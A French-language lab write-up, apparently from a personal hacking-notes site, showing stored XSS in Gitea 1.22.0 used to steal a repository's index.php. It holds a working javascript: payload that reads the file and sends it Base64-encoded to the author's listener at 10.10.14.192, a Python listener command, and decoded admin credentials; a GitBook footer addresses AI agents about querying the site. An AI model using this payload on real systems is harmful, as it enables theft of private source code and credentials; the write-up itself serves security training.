> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md).

# Vol de code source via XSS

### XSS sur Gitea (v1.22.0)

Activé `http://localhost:3000` -> **Gitea** est accessible.

<figure><img src="/files/501efe37f3f721b46a6890049b2e42d9c5ea01de" alt=""><figcaption></figcaption></figure>

Connexion avec les identifiants pour Axel.

<figure><img src="/files/ee4628ed12924decf5a43a1e8c43f0e25227f93f" alt=""><figcaption></figcaption></figure>

Vulnérabilité XSS connue.

<figure><img src="/files/3dffdcbca247cfb5e9ae4e5ce29010ff8776d350" alt=""><figcaption></figcaption></figure>

Nous créons un projet avec une description contenant :

```bash
<a href=javascript:alert()>Test XSS</a>

```

<figure><img src="/files/2e380cb0e57facf26776d572bdfb6ee6a1a8d4d3" alt=""><figcaption></figcaption></figure>

* Résultat :

<figure><img src="/files/eac1836c899fce587011612f0c4d3c02ec2db92a" alt=""><figcaption></figcaption></figure>

### Mail intercepté via LinPEAS

<figure><img src="/files/38f9225263f75dddafb35a657518c785e993ceda" alt=""><figcaption></figcaption></figure>

contenu d'un e-mail :

* jobert\@localhost doit vérifier le dépôt Gitea

<figure><img src="/files/372a1269a2b85e220dc158bdd91a2da4596361d8" alt=""><figcaption></figcaption></figure>

Nous envoyons un lien XSS contenant un script d'exfiltration qui lit le contenu de la page `index.php` du dépôt Gitea, l'encode en Base64, puis l'envoie à notre serveur web

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">COMPROMIS</a>

```

{% endcode %}

<figure><img src="/files/e4a9201681907d4c41dd6fe61be2f59421cda2ee" alt=""><figcaption></figcaption></figure>

#### Via notre serveur web

```bash
python -m http.server 8080

```

<figure><img src="/files/bcce5f03555c3e6d2c0827f258a21e760133b7b5" alt=""><figcaption></figcaption></figure>

#### Contenu exfiltré (Base64 décodé) :

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d

```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/f69bc3f8c5ce444d51184512aeb61455dfe9cae7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
